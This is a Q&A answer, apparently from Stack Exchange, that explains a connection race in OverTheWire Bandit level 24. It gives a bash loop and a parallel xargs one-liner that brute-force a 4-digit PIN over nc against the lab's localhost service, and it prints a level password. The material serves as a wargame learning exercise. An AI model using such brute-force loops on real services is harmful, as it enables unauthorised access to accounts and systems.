OverTheWire Bandit第24关：nc与here document竞争条件致重试异常

Hey there! Let's break down why your script only managed 7175 retries instead of the full 10000.

The Root Cause #

Your script uses a here-doc (<< Input) to send all 10000 PIN+password pairs at once to nc. Here's the problem: once nc connects to the server and sends the correct PIN, the server will immediately close the connection. When that happens, nc terminates right away—meaning it never gets around to sending the rest of the PINs from your here-doc.

In your case, the correct PIN was the 7175th one (since you start at 0000), so nc stopped processing input as soon as that pair was sent and the connection closed. All the PINs after that never even reached the server.

Fix: Test PINs One at a Time #

Instead of feeding all input upfront, you need to create a new nc connection for each PIN. This way, even if one connection closes after finding the correct PIN, you can stop the loop immediately (no wasted attempts).

Here's a revised, clean script that works:

#!/bin/bash
# Store the static password to avoid repetition
PASSWORD="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

# Loop through all 4-digit PINs (0000 to 9999)
for PIN in {0000..9999}; do
    # Send the password+PIN to nc and capture the response
    RESPONSE=$(echo "$PASSWORD $PIN" | nc localhost 30002)
    
    # Check if the response doesn't contain "Wrong" (adjust the pattern if needed)
    if ! echo "$RESPONSE" | grep -q "Wrong"; then
        echo "Found the correct PIN: $PIN"
        echo "Server response:"
        echo "$RESPONSE"
        break  # Exit the loop once we find the right PIN
    fi
done

Why This Works #

• Each iteration starts a fresh nc connection, sends one pair, and waits for the server's response.
• As soon as we get a non-"Wrong" response, we print the result and stop the loop (no need to try the remaining PINs!).
• Bash's brace expansion ({0000..9999}) automatically generates all 4-digit PINs, so you don't have to write 10000 lines manually.

Bonus: Speed It Up #

If you want to cut down on total time, you can run multiple parallel connections (be gentle with the server—reasonable parallelism is fine for OverTheWire):

PASSWORD="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
echo {0000..9999} | tr ' ' '\n' | xargs -P 10 -I {} sh -c 'echo "$1 {}" | nc localhost 30002 | grep -v "Wrong" && echo "Found PIN: {}"' _ "$PASSWORD"

This runs 10 parallel checks at once, which significantly reduces the time to find the correct PIN.

内容的提问来源于stack exchange，提问作者raivel33